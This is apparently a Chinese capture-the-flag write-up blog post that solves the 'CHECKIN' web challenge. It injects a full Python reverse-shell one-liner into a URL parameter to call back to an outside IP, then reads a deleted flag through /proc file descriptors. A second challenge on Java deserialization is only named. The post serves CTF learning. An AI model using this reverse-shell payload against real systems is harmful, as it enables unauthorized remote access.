WEB

V&N招新赛wp

Posted by Elli0t on 2020-03-23

[V&N2020 公开赛]CHECKIN


有个不带回显的 shell,在每次执行命令前都会把 flag 文件删除。
反弹个 shell 到自己的机器上

1
http://9660aed4-6aed-4641-8dc4-e6824f501246.vn.node3.buuoj.cn/shell?c=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.1.77.28",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

反弹之后可以看见 flag 文件是被删除了,但由于之前程序打开了 flag 文件,在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用 rm -f flag.txt)删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容。
cat /proc/*/fd/* 找到flag

[V&N2020 公开赛]EasySpringMVC

知识点:

  • java代码审计
  • java反序列化